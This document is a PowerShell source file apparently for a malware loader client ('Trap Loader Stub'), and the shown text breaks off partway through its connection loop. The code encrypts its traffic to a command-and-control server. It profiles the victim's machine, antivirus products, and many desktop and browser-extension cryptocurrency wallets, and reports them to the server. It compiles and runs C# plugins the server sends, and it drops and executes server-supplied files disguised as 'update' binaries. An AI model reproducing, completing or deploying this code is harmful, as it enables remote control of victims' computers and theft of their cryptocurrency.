Files
Tpanelv1/PSStub/PSStub_Direct.ps1
2026-08-27 11:00:56 -06:00

1056 lines
38 KiB
PowerShell

# Trap Loader Stub - TCP Binary Client with AES-256-GCM
# Placeholders are replaced at build time by the Builder
$serverUrl = "{{SERVER_URL}}"
$httpPassword = "{{PASSWORD}}"
$encryptionKey = "{{ENCRYPTION_KEY}}"
# ==================== AES-256-GCM VIA WINDOWS BCRYPT ====================
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
public static class AesGcmHelper
{
private const int SaltSize = 16;
private const int NonceSize = 12;
private const int TagSize = 16;
private const int KeySize = 32;
private const int Pbkdf2Iterations = 100000;
private const int MinEncryptedSize = SaltSize + NonceSize + TagSize + 1;
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
private static extern int BCryptOpenAlgorithmProvider(
out IntPtr phAlgorithm, string pszAlgId, string pszImplementation, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
private static extern int BCryptSetProperty(
IntPtr hObject, string pszProperty, byte[] pbInput, int cbInput, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptGenerateSymmetricKey(
IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject,
byte[] pbSecret, int cbSecret, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptDestroyKey(IntPtr hKey);
[DllImport("bcrypt.dll")]
private static extern int BCryptEncrypt(
IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo,
byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput,
out int pcbResult, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptDecrypt(
IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo,
byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput,
out int pcbResult, uint dwFlags);
[StructLayout(LayoutKind.Sequential)]
private struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
{
public int cbSize;
public int dwInfoVersion;
public IntPtr pbNonce;
public int cbNonce;
public IntPtr pbAuthData;
public int cbAuthData;
public IntPtr pbTag;
public int cbTag;
public IntPtr pbMacContext;
public int cbMacContext;
public int cbAAD;
public long cbData;
public int dwFlags;
}
private const string BCRYPT_AES_ALGORITHM = "AES";
private const string BCRYPT_CHAINING_MODE = "ChainingMode";
private const string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
private const int STATUS_SUCCESS = 0;
private static byte[] DeriveKey(string password, byte[] salt)
{
using (var pbkdf2 = new Rfc2898DeriveBytes(password, salt, Pbkdf2Iterations,
HashAlgorithmName.SHA256))
{
return pbkdf2.GetBytes(KeySize);
}
}
private static byte[] GcmEncrypt(byte[] key, byte[] nonce, byte[] plaintext, out byte[] tag)
{
IntPtr hAlg = IntPtr.Zero;
IntPtr hKey = IntPtr.Zero;
tag = new byte[TagSize];
try
{
int status = BCryptOpenAlgorithmProvider(out hAlg, BCRYPT_AES_ALGORITHM, null, 0);
if (status != STATUS_SUCCESS)
throw new CryptographicException("BCryptOpenAlgorithmProvider failed: " + status);
byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM);
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0);
if (status != STATUS_SUCCESS)
throw new CryptographicException("BCryptSetProperty failed: " + status);
status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0);
if (status != STATUS_SUCCESS)
throw new CryptographicException("BCryptGenerateSymmetricKey failed: " + status);
byte[] ciphertext = new byte[plaintext.Length];
byte[] ivCopy = (byte[])nonce.Clone();
var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO();
authInfo.cbSize = Marshal.SizeOf(authInfo);
authInfo.dwInfoVersion = 1;
GCHandle nonceHandle = GCHandle.Alloc(ivCopy, GCHandleType.Pinned);
GCHandle tagHandle = GCHandle.Alloc(tag, GCHandleType.Pinned);
try
{
authInfo.pbNonce = nonceHandle.AddrOfPinnedObject();
authInfo.cbNonce = ivCopy.Length;
authInfo.pbTag = tagHandle.AddrOfPinnedObject();
authInfo.cbTag = TagSize;
IntPtr pAuthInfo = Marshal.AllocHGlobal(Marshal.SizeOf(authInfo));
try
{
Marshal.StructureToPtr(authInfo, pAuthInfo, false);
int bytesWritten;
status = BCryptEncrypt(hKey, plaintext, plaintext.Length, pAuthInfo,
null, 0, ciphertext, ciphertext.Length, out bytesWritten, 0);
if (status != STATUS_SUCCESS)
throw new CryptographicException("BCryptEncrypt failed: " + status);
}
finally
{
Marshal.FreeHGlobal(pAuthInfo);
}
}
finally
{
nonceHandle.Free();
tagHandle.Free();
}
return ciphertext;
}
finally
{
if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey);
if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0);
}
}
private static byte[] GcmDecrypt(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag)
{
IntPtr hAlg = IntPtr.Zero;
IntPtr hKey = IntPtr.Zero;
try
{
int status = BCryptOpenAlgorithmProvider(out hAlg, BCRYPT_AES_ALGORITHM, null, 0);
if (status != STATUS_SUCCESS)
throw new CryptographicException("BCryptOpenAlgorithmProvider failed: " + status);
byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM);
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0);
if (status != STATUS_SUCCESS)
throw new CryptographicException("BCryptSetProperty failed: " + status);
status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0);
if (status != STATUS_SUCCESS)
throw new CryptographicException("BCryptGenerateSymmetricKey failed: " + status);
byte[] plaintext = new byte[ciphertext.Length];
byte[] ivCopy = (byte[])nonce.Clone();
byte[] tagCopy = (byte[])tag.Clone();
var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO();
authInfo.cbSize = Marshal.SizeOf(authInfo);
authInfo.dwInfoVersion = 1;
GCHandle nonceHandle = GCHandle.Alloc(ivCopy, GCHandleType.Pinned);
GCHandle tagHandle = GCHandle.Alloc(tagCopy, GCHandleType.Pinned);
try
{
authInfo.pbNonce = nonceHandle.AddrOfPinnedObject();
authInfo.cbNonce = ivCopy.Length;
authInfo.pbTag = tagHandle.AddrOfPinnedObject();
authInfo.cbTag = tagCopy.Length;
IntPtr pAuthInfo = Marshal.AllocHGlobal(Marshal.SizeOf(authInfo));
try
{
Marshal.StructureToPtr(authInfo, pAuthInfo, false);
int bytesWritten;
status = BCryptDecrypt(hKey, ciphertext, ciphertext.Length, pAuthInfo,
null, 0, plaintext, plaintext.Length, out bytesWritten, 0);
if (status != STATUS_SUCCESS)
throw new CryptographicException("GCM tag verification failed");
}
finally
{
Marshal.FreeHGlobal(pAuthInfo);
}
}
finally
{
nonceHandle.Free();
tagHandle.Free();
}
return plaintext;
}
finally
{
if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey);
if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0);
}
}
public static byte[] Encrypt(string plainText, string password)
{
byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
return EncryptBytes(plainBytes, password);
}
public static byte[] EncryptBytes(byte[] plainBytes, string password)
{
byte[] salt = new byte[SaltSize];
byte[] nonce = new byte[NonceSize];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(salt);
rng.GetBytes(nonce);
}
byte[] key = DeriveKey(password, salt);
byte[] tag;
byte[] cipherText = GcmEncrypt(key, nonce, plainBytes, out tag);
byte[] result = new byte[SaltSize + NonceSize + TagSize + cipherText.Length];
int offset = 0;
Buffer.BlockCopy(salt, 0, result, offset, SaltSize);
offset += SaltSize;
Buffer.BlockCopy(nonce, 0, result, offset, NonceSize);
offset += NonceSize;
Buffer.BlockCopy(tag, 0, result, offset, TagSize);
offset += TagSize;
Buffer.BlockCopy(cipherText, 0, result, offset, cipherText.Length);
return result;
}
public static string DecryptToString(byte[] encryptedBytes, string password)
{
byte[] plainBytes = DecryptToBytes(encryptedBytes, password);
if (plainBytes == null) return null;
return Encoding.UTF8.GetString(plainBytes);
}
public static byte[] DecryptToBytes(byte[] encryptedBytes, string password)
{
if (encryptedBytes == null || encryptedBytes.Length < MinEncryptedSize)
return null;
int offset = 0;
byte[] salt = new byte[SaltSize];
Buffer.BlockCopy(encryptedBytes, offset, salt, 0, SaltSize);
offset += SaltSize;
byte[] nonce = new byte[NonceSize];
Buffer.BlockCopy(encryptedBytes, offset, nonce, 0, NonceSize);
offset += NonceSize;
byte[] tag = new byte[TagSize];
Buffer.BlockCopy(encryptedBytes, offset, tag, 0, TagSize);
offset += TagSize;
int cipherLen = encryptedBytes.Length - offset;
byte[] cipherText = new byte[cipherLen];
Buffer.BlockCopy(encryptedBytes, offset, cipherText, 0, cipherLen);
byte[] key = DeriveKey(password, salt);
try
{
return GcmDecrypt(key, nonce, cipherText, tag);
}
catch (CryptographicException)
{
return null;
}
}
}
"@ -ReferencedAssemblies @('System.dll') -ErrorAction Stop
# ==================== ENCRYPTION WRAPPERS ====================
function Encrypt-Payload {
param([string]$PlainText, [string]$Key)
return [AesGcmHelper]::Encrypt($PlainText, $Key)
}
function Decrypt-Bytes {
param([byte[]]$CipherBytes, [string]$Key)
return [AesGcmHelper]::DecryptToBytes($CipherBytes, $Key)
}
# ==================== SYSTEM INFO ====================
function Get-MachineFingerprint {
try {
$cpuId = Get-CimInstance -ClassName Win32_Processor -ErrorAction Stop |
Select-Object -First 1 -ExpandProperty ProcessorId
$biosId = Get-CimInstance -ClassName Win32_BIOS -ErrorAction Stop |
Select-Object -ExpandProperty SerialNumber
$mainboardId = Get-CimInstance -ClassName Win32_BaseBoard -ErrorAction Stop |
Select-Object -ExpandProperty SerialNumber
$fingerprint = "$cpuId-$biosId-$mainboardId"
$sha = [System.Security.Cryptography.SHA256]::Create()
$hashBytes = $sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($fingerprint))
$sha.Dispose()
return [BitConverter]::ToString($hashBytes).Replace("-", "")
}
catch {
return [Guid]::NewGuid().ToString().Replace("-", "").ToUpper()
}
}
function Get-WindowsVersion {
try {
$os = [System.Environment]::OSVersion.Version
switch ($os.Major) {
10 {
if ($os.Build -ge 22000) { return "Windows 11" }
return "Windows 10"
}
6 {
switch ($os.Minor) {
3 { return "Windows 8.1" }
2 { return "Windows 8" }
1 { return "Windows 7" }
0 { return "Windows Vista" }
}
}
default { return "Windows $($os.Major).$($os.Minor)" }
}
}
catch { return "Unknown" }
}
function Get-SpecificAntivirus {
$avProducts = @()
$avPaths = @{
"Norton" = "SOFTWARE\Norton"
"McAfee" = "SOFTWARE\McAfee"
"Kaspersky" = "SOFTWARE\Kaspersky Lab"
"Bitdefender" = "SOFTWARE\Bitdefender"
"Avast" = "SOFTWARE\AVAST Software"
"AVG" = "SOFTWARE\AVG Technologies"
"Windows Defender" = "SOFTWARE\Microsoft\Windows Defender"
"ESET" = "SOFTWARE\ESET"
"Malwarebytes" = "SOFTWARE\Malwarebytes"
"Trend Micro" = "SOFTWARE\TrendMicro"
"Sophos" = "SOFTWARE\Sophos"
"Webroot" = "SOFTWARE\WRData"
}
foreach ($av in $avPaths.GetEnumerator()) {
try {
if (Get-Item -Path "HKLM:\$($av.Value)" -ErrorAction SilentlyContinue) {
$avProducts += $av.Key
}
} catch { }
}
if ($avProducts.Count -eq 0) { return "None" }
return ($avProducts | Select-Object -Unique) -join ", "
}
function Get-WalletNames {
$walletNames = @()
$walletPaths = @{
"Armory" = "$env:APPDATA\Armory"
"Atomic" = "$env:APPDATA\Atomic\Local Storage\leveldb"
"Bitcoin" = "$env:APPDATA\Bitcoin\wallets"
"Bytecoin" = "$env:APPDATA\bytecoin"
"Coinomi" = "$env:LOCALAPPDATA\Coinomi\Coinomi\wallets"
"Dash" = "$env:APPDATA\DashCore\wallets"
"Electrum" = "$env:APPDATA\Electrum\wallets"
"Ethereum" = "$env:APPDATA\Ethereum\keystore"
"Exodus" = "$env:APPDATA\Exodus\exodus.wallet"
"Guarda" = "$env:APPDATA\Guarda\Local Storage\leveldb"
"Jaxx" = "$env:APPDATA\com.liberty.jaxx\IndexedDB"
"Litecoin" = "$env:APPDATA\Litecoin\wallets"
"Monero GUI" = "$env:USERPROFILE\Documents\Monero\wallets"
"WalletWasabi" = "$env:APPDATA\WalletWasabi\Client\Wallets"
"Ledger Live" = "$env:APPDATA\Ledger Live"
"Trezor Suite" = "$env:APPDATA\@trezor\suite-desktop"
}
foreach ($wallet in $walletPaths.GetEnumerator()) {
try {
if (Test-Path $wallet.Value) {
$walletNames += $wallet.Key
}
} catch { }
}
$browserPaths = @{
"Brave" = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"
"Chrome" = "$env:LOCALAPPDATA\Google\Chrome\User Data"
"Edge" = "$env:LOCALAPPDATA\Microsoft\Edge\User Data"
"Opera" = "$env:APPDATA\Opera Software\Opera Stable"
"OperaGX" = "$env:APPDATA\Opera Software\Opera GX Stable"
"Vivaldi" = "$env:LOCALAPPDATA\Vivaldi\User Data"
"Chromium" = "$env:LOCALAPPDATA\Chromium\User Data"
}
$walletDirs = @{
"nkbihfbeogaeaoehlefnkodbefgpgknn" = "Metamask"
"ejbalbakoplchlghecdalmeeeajnimhm" = "Metamask2"
"odbfpeeihdkbihmopkbjmoonfanlbfcl" = "Coinbase"
"hifafgmccdpekplomjjkcfgodnhcellj" = "Crypto.com"
"bfnaelmomeimhlpmgjnjophhpkkoljpa" = "Phantom"
"ibnejdfjmmkpcnlpebklmnkoeoihofec" = "TronLink"
"egjidjbpglichdcondbcbdnbeeppgdph" = "Trust Wallet"
"dmkamcknogkgcdfhhbddcghachkejeap" = "Keplr"
"fhbohimaelbohpjbbldcngcnapndodjp" = "Binance Chain"
"afbcbjpbpfadlkmhmclhkeeodmamcflc" = "MathWallet"
"aholpfdialjgjfhomihkjbmgjidlcdno" = "ExodusWeb3"
"kkpllkodjeloidieedojogacfhpaihoh" = "Enkrypt"
"mcbigmjiafegjnnogedioegffbooigli" = "Ethos Sui"
"hpglfhgfnhbgpjdenjgmdgoeiappafln" = "Guarda Wallet"
"mcohilncbfahbmgdjkbpemcciiolgcge" = "OKX"
"jnmbobjmhlngoefaiojfljckilhhlhcj" = "OneKey"
"fnjhmkhhmkbjkkabndcnnogagogbneec" = "Ronin"
"lgmpcpglpngdoalbgeoldeajfclnhafa" = "SafePal"
"mfgccjchihfkkindfppnaooecgfneiii" = "TokenPocket"
"nphplpgoakhhjchkkhmiggakijnkhfnd" = "Ton"
"amkmjjmmflddogmhpjloimipbofnfjih" = "Wombat"
"dlcobpjiigpikoobohmabehhmhfoodbb" = "Argent X"
"jiidiaalihmmhddjgbnbgdfflelocpak" = "BitKeep"
"bopcbmipnjdcdfflfgjdgdjejmgpoaab" = "BlockWallet"
"heamnjbnflcikcggoiplibfommfbkjpj" = "Zeal"
}
foreach ($browser in $browserPaths.GetEnumerator()) {
try {
if (Test-Path $browser.Value) {
foreach ($wd in $walletDirs.GetEnumerator()) {
$extPath = Join-Path $browser.Value "Default\Local Extension Settings\$($wd.Key)"
$extPath2 = Join-Path $browser.Value "Local Extension Settings\$($wd.Key)"
if ((Test-Path $extPath) -or (Test-Path $extPath2)) {
$walletNames += "$($wd.Value)"
}
}
}
} catch { }
}
if ($walletNames.Count -eq 0) { return "None" }
return ($walletNames | Select-Object -Unique) -join ", "
}
function Get-SystemInfo {
$osVer = Get-WindowsVersion
$machine = [System.Environment]::UserName
$av = Get-SpecificAntivirus
$wallets = Get-WalletNames
return "$osVer;$machine;$av;$wallets"
}
# ==================== TCP BINARY PROTOCOL ====================
$MSG_AUTH = [byte]0x01
$MSG_HEARTBEAT = [byte]0x02
$MSG_CLIENT_INFO = [byte]0x03
$MSG_PLUGIN_DATA = [byte]0x10
$MSG_PLUGIN_BATCH = [byte]0x11
$MSG_AUTH_OK = [byte]0x81
$MSG_AUTH_FAIL = [byte]0x82
$MSG_HEARTBEAT_ACK = [byte]0x83
$MSG_PLUGIN_CMD = [byte]0x90
$MSG_FILE_TRANSFER = [byte]0x91
$MSG_DISCONNECT = [byte]0xFF
function Write-TcpMessage {
param(
[System.IO.Stream]$Stream,
[byte]$MsgType,
[byte[]]$Payload
)
$payloadLen = if ($Payload) { $Payload.Length } else { 0 }
$totalLen = 1 + $payloadLen
$packet = New-Object byte[] (4 + $totalLen)
$packet[0] = [byte]($totalLen -band 0xFF)
$packet[1] = [byte](($totalLen -shr 8) -band 0xFF)
$packet[2] = [byte](($totalLen -shr 16) -band 0xFF)
$packet[3] = [byte](($totalLen -shr 24) -band 0xFF)
$packet[4] = $MsgType
if ($Payload -and $Payload.Length -gt 0) {
[Array]::Copy($Payload, 0, $packet, 5, $Payload.Length)
}
$Stream.Write($packet, 0, $packet.Length)
$Stream.Flush()
}
function Read-TcpExact {
param(
[System.IO.Stream]$Stream,
[int]$Count
)
$buffer = New-Object byte[] $Count
$totalRead = 0
while ($totalRead -lt $Count) {
$read = $Stream.Read($buffer, $totalRead, $Count - $totalRead)
if ($read -le 0) { return $null }
$totalRead += $read
}
return $buffer
}
function Read-TcpMessage {
param([System.IO.Stream]$Stream)
$lenBuf = Read-TcpExact -Stream $Stream -Count 4
if ($null -eq $lenBuf) { return $null }
$totalLen = [int]$lenBuf[0] -bor
([int]$lenBuf[1] -shl 8) -bor
([int]$lenBuf[2] -shl 16) -bor
([int]$lenBuf[3] -shl 24)
if ($totalLen -le 0 -or $totalLen -gt 5242880) {
return $null
}
$msgBuf = Read-TcpExact -Stream $Stream -Count $totalLen
if ($null -eq $msgBuf) { return $null }
$msgType = $msgBuf[0]
$payload = $null
if ($totalLen -gt 1) {
$payload = New-Object byte[] ($totalLen - 1)
[Array]::Copy($msgBuf, 1, $payload, 0, $totalLen - 1)
}
return @{ Type = $msgType; Payload = $payload }
}
# ==================== PLUGIN ENGINE ====================
Add-Type -TypeDefinition @"
using System;
using System.Collections.Concurrent;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
public class PluginRunner
{
public ConcurrentQueue<byte[]> InQueue = new ConcurrentQueue<byte[]>();
public ConcurrentQueue<byte[]> OutQueue = new ConcurrentQueue<byte[]>();
public CancellationTokenSource Cts = new CancellationTokenSource();
public Thread WorkerThread;
public Exception LastError;
public volatile bool Running;
public void Start(object pluginInstance)
{
Running = true;
WorkerThread = new Thread(() =>
{
try
{
Func<byte[], Task> sendFunc = (data) =>
{
OutQueue.Enqueue(data);
return Task.CompletedTask;
};
Func<Task<byte[]>> receiveFunc = () =>
{
while (!Cts.IsCancellationRequested)
{
byte[] item;
if (InQueue.TryDequeue(out item))
return Task.FromResult(item);
Thread.Sleep(5);
}
return Task.FromResult<byte[]>(null);
};
var runMethod = pluginInstance.GetType().GetMethod("Run");
if (runMethod == null)
{
LastError = new Exception("Plugin has no Run method");
return;
}
var task = (Task)runMethod.Invoke(pluginInstance, new object[] { sendFunc, receiveFunc });
task.GetAwaiter().GetResult();
}
catch (Exception ex) { LastError = ex; }
finally { Running = false; }
});
WorkerThread.IsBackground = true;
WorkerThread.Name = "PluginWorker";
WorkerThread.Start();
}
public void Stop()
{
try { Cts.Cancel(); } catch { }
try { if (WorkerThread != null && WorkerThread.IsAlive) WorkerThread.Join(3000); } catch { }
Running = false;
}
public int GetOutQueueCount() { return OutQueue.Count; }
public void ClearOutQueue()
{
byte[] discard;
while (OutQueue.TryDequeue(out discard)) { }
}
}
"@ -ReferencedAssemblies @('System.dll') -ErrorAction Stop
$global:ActivePlugins = @{}
# ==================== PLUGIN FUNCTIONS ====================
function Invoke-PluginCommand {
param([string]$PluginId, [int]$CmdType, [byte[]]$Data)
switch ($CmdType) {
0 {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Loading: $PluginId" -ForegroundColor Magenta
if ($global:ActivePlugins.ContainsKey($PluginId)) { Stop-Plugin -PluginId $PluginId }
try {
$code = [Text.Encoding]::UTF8.GetString($Data)
# Build referenced assemblies list - include System.Management for process manager
$refs = @(
'System.dll',
'System.Drawing.dll',
'System.Windows.Forms.dll',
'System.Management.dll'
)
Add-Type -TypeDefinition $code -ReferencedAssemblies $refs -ErrorAction Stop
$pluginInstance = New-Object "ClientPlugin_$($PluginId).Main"
$runner = New-Object PluginRunner
$runner.Start($pluginInstance)
$global:ActivePlugins[$PluginId] = @{ Runner = $runner }
Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Started: $PluginId" -ForegroundColor Green
} catch {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Load error: $($_.Exception.Message)" -ForegroundColor Red
$global:ActivePlugins.Remove($PluginId)
}
}
1 {
if ($global:ActivePlugins.ContainsKey($PluginId)) {
$global:ActivePlugins[$PluginId].Runner.InQueue.Enqueue($Data)
}
}
2 {
if ($global:ActivePlugins.ContainsKey($PluginId)) { Stop-Plugin -PluginId $PluginId }
}
}
}
function Stop-Plugin {
param([string]$PluginId)
if ($global:ActivePlugins.ContainsKey($PluginId)) {
try { $global:ActivePlugins[$PluginId].Runner.Stop() } catch { }
$global:ActivePlugins.Remove($PluginId)
Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Stopped: $PluginId" -ForegroundColor Yellow
}
}
function Stop-AllPlugins {
foreach ($plugId in @($global:ActivePlugins.Keys)) { Stop-Plugin -PluginId $plugId }
}
function Cleanup-DeadPlugins {
foreach ($plugId in @($global:ActivePlugins.Keys)) {
$pe = $global:ActivePlugins[$plugId]
if ($pe -and $pe.Runner) {
if ($pe.Runner.LastError) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId died: $($pe.Runner.LastError.Message)" -ForegroundColor Red
$pe.Runner.Stop()
$global:ActivePlugins.Remove($plugId)
}
elseif (-not $pe.Runner.Running -and $pe.Runner.WorkerThread -and -not $pe.Runner.WorkerThread.IsAlive) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId exited" -ForegroundColor Yellow
$global:ActivePlugins.Remove($plugId)
}
}
}
}
function Get-HasPluginOutput {
foreach ($plugId in @($global:ActivePlugins.Keys)) {
$pe = $global:ActivePlugins[$plugId]
if ($pe -and $pe.Runner -and $pe.Runner.GetOutQueueCount() -gt 0) {
return $true
}
}
return $false
}
function Send-AllPluginOutput {
param([System.IO.Stream]$Stream)
$anySent = $false
foreach ($plugId in @($global:ActivePlugins.Keys)) {
$pluginEntry = $global:ActivePlugins[$plugId]
if ($null -eq $pluginEntry -or $null -eq $pluginEntry.Runner) { continue }
$queueCount = $pluginEntry.Runner.GetOutQueueCount()
if ($queueCount -le 0) { continue }
if ($queueCount -gt 100) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId backlog ($queueCount), clearing" -ForegroundColor Yellow
$pluginEntry.Runner.ClearOutQueue()
continue
}
$idBytes = [Text.Encoding]::UTF8.GetBytes($plugId)
$sent = 0
while ($sent -lt 50) {
$item = $null
$dequeued = $pluginEntry.Runner.OutQueue.TryDequeue([ref]$item)
if (-not $dequeued -or $null -eq $item) { break }
$payload = New-Object byte[] (1 + $idBytes.Length + $item.Length)
$payload[0] = [byte]$idBytes.Length
[Array]::Copy($idBytes, 0, $payload, 1, $idBytes.Length)
[Array]::Copy($item, 0, $payload, 1 + $idBytes.Length, $item.Length)
Write-TcpMessage -Stream $Stream -MsgType $MSG_PLUGIN_DATA -Payload $payload
$sent++
$anySent = $true
}
}
return $anySent
}
# ==================== MESSAGE HANDLERS ====================
function Handle-PluginCmd {
param([byte[]]$Payload)
if ($null -eq $Payload -or $Payload.Length -lt 2) { return }
$idLen = [int]$Payload[0]
if ($idLen -le 0 -or ($idLen + 1) -gt $Payload.Length) { return }
$pluginId = [Text.Encoding]::UTF8.GetString($Payload, 1, $idLen)
$dataOffset = 1 + $idLen
$dataLen = $Payload.Length - $dataOffset
$data = $null
if ($dataLen -gt 0) {
$data = New-Object byte[] $dataLen
[Array]::Copy($Payload, $dataOffset, $data, 0, $dataLen)
}
if ($null -ne $data -and $data.Length -ge 1) {
$cmdType = [int]$data[0]
$cmdData = $null
if ($data.Length -gt 1) {
$cmdData = New-Object byte[] ($data.Length - 1)
[Array]::Copy($data, 1, $cmdData, 0, $cmdData.Length)
}
Invoke-PluginCommand -PluginId $pluginId -CmdType $cmdType -Data $cmdData
}
}
function Handle-FileTransfer {
param([byte[]]$Payload)
if ($null -eq $Payload -or $Payload.Length -lt 2) { return }
$hashLen = [int]$Payload[0]
$expectedHash = $null
if ($hashLen -gt 0 -and ($hashLen + 1) -le $Payload.Length) {
$expectedHash = [Text.Encoding]::UTF8.GetString($Payload, 1, $hashLen)
}
$encOffset = 1 + $hashLen
if ($encOffset -ge $Payload.Length) { return }
$encData = New-Object byte[] ($Payload.Length - $encOffset)
[Array]::Copy($Payload, $encOffset, $encData, 0, $encData.Length)
$decryptedBytes = Decrypt-Bytes -CipherBytes $encData -Key $encryptionKey
if ($null -eq $decryptedBytes -or $decryptedBytes.Length -eq 0) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - File decryption failed" -ForegroundColor Red
return
}
Write-Host "$(Get-Date -Format 'HH:mm:ss') - File received: $($decryptedBytes.Length) bytes" -ForegroundColor Green
if ($expectedHash) {
$sha = [System.Security.Cryptography.SHA256]::Create()
$actualHash = [BitConverter]::ToString($sha.ComputeHash($decryptedBytes)).Replace("-", "").ToLower()
$sha.Dispose()
if ($actualHash -ne $expectedHash) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - HASH MISMATCH! Rejecting." -ForegroundColor Red
return
}
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Hash verified OK" -ForegroundColor Green
}
$suffix = [Guid]::NewGuid().ToString().Substring(0, 8)
if ($decryptedBytes.Length -gt 1 -and $decryptedBytes[0] -eq 0x4D -and $decryptedBytes[1] -eq 0x5A) {
$fileName = "update-$suffix.exe"
} elseif ($decryptedBytes.Length -gt 1 -and $decryptedBytes[0] -eq 0x50 -and $decryptedBytes[1] -eq 0x4B) {
$fileName = "update-$suffix.zip"
} else {
$fileName = "update-$suffix.bat"
}
$filePath = [IO.Path]::Combine([IO.Path]::GetTempPath(), $fileName)
try {
[IO.File]::WriteAllBytes($filePath, $decryptedBytes)
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Saved: $filePath" -ForegroundColor Green
Start-Process -FilePath $filePath -ErrorAction Stop
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Executed successfully" -ForegroundColor Green
} catch {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Execute error: $($_.Exception.Message)" -ForegroundColor Red
}
}
# ==================== PARSE SERVER ADDRESS ====================
function Parse-ServerAddress {
param([string]$Address)
$result = @{ Host = ""; Port = 443 }
$addr = $Address.Trim() -replace '^https?://', '' -replace '/.*$', ''
if ($addr -match '^(.+):(\d+)$') {
$result.Host = $Matches[1]
$result.Port = [int]$Matches[2]
} else {
$result.Host = $addr
}
return $result
}
# ==================== MAIN ====================
$machineId = Get-MachineFingerprint
$systemInfo = Get-SystemInfo
$parsed = Parse-ServerAddress -Address $serverUrl
$sHost = $parsed.Host
$sPort = $parsed.Port
if ([string]::IsNullOrWhiteSpace($sHost)) {
Write-Host "Invalid server address: $serverUrl" -ForegroundColor Red
Start-Sleep -Seconds 10
exit 1
}
Write-Host "========================================" -ForegroundColor Cyan
Write-Host " Trap Loader Client (TCP)" -ForegroundColor Cyan
Write-Host "========================================" -ForegroundColor Cyan
Write-Host " Server : $sHost`:$sPort" -ForegroundColor Gray
Write-Host " Machine : $machineId" -ForegroundColor Gray
Write-Host " Crypto : AES-256-GCM (BCrypt)" -ForegroundColor Gray
Write-Host "========================================" -ForegroundColor Cyan
Write-Host ""
$heartbeatInterval = 5
# ==================== CONNECTION LOOP ====================
try {
while ($true) {
$tcpClient = $null
$stream = $null
try {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connecting to $sHost`:$sPort..." -ForegroundColor Yellow
$tcpClient = New-Object System.Net.Sockets.TcpClient
$tcpClient.NoDelay = $true
$tcpClient.ReceiveBufferSize = 1048576
$tcpClient.SendBufferSize = 1048576
$tcpClient.ReceiveTimeout = 60000
$tcpClient.SendTimeout = 30000
$asyncResult = $tcpClient.BeginConnect($sHost, $sPort, $null, $null)
$connected = $asyncResult.AsyncWaitHandle.WaitOne(5000, $false)
if (-not $connected) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connection timeout. Retrying..." -ForegroundColor Yellow
try { $tcpClient.Close() } catch { }
Start-Sleep -Seconds 5
continue
}
try { $tcpClient.EndConnect($asyncResult) }
catch {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connection refused. Retrying..." -ForegroundColor Yellow
try { $tcpClient.Close() } catch { }
Start-Sleep -Seconds 5
continue
}
$stream = $tcpClient.GetStream()
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connected!" -ForegroundColor Green
# ========== AUTHENTICATION ==========
$authJson = @{
password = $httpPassword
machine_id = $machineId
info = $systemInfo
} | ConvertTo-Json -Compress -Depth 5
$authEncrypted = Encrypt-Payload -PlainText $authJson -Key $encryptionKey
Write-TcpMessage -Stream $stream -MsgType $MSG_AUTH -Payload $authEncrypted
$authResp = Read-TcpMessage -Stream $stream
if ($null -eq $authResp) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - No auth response" -ForegroundColor Red
throw "Auth failed"
}
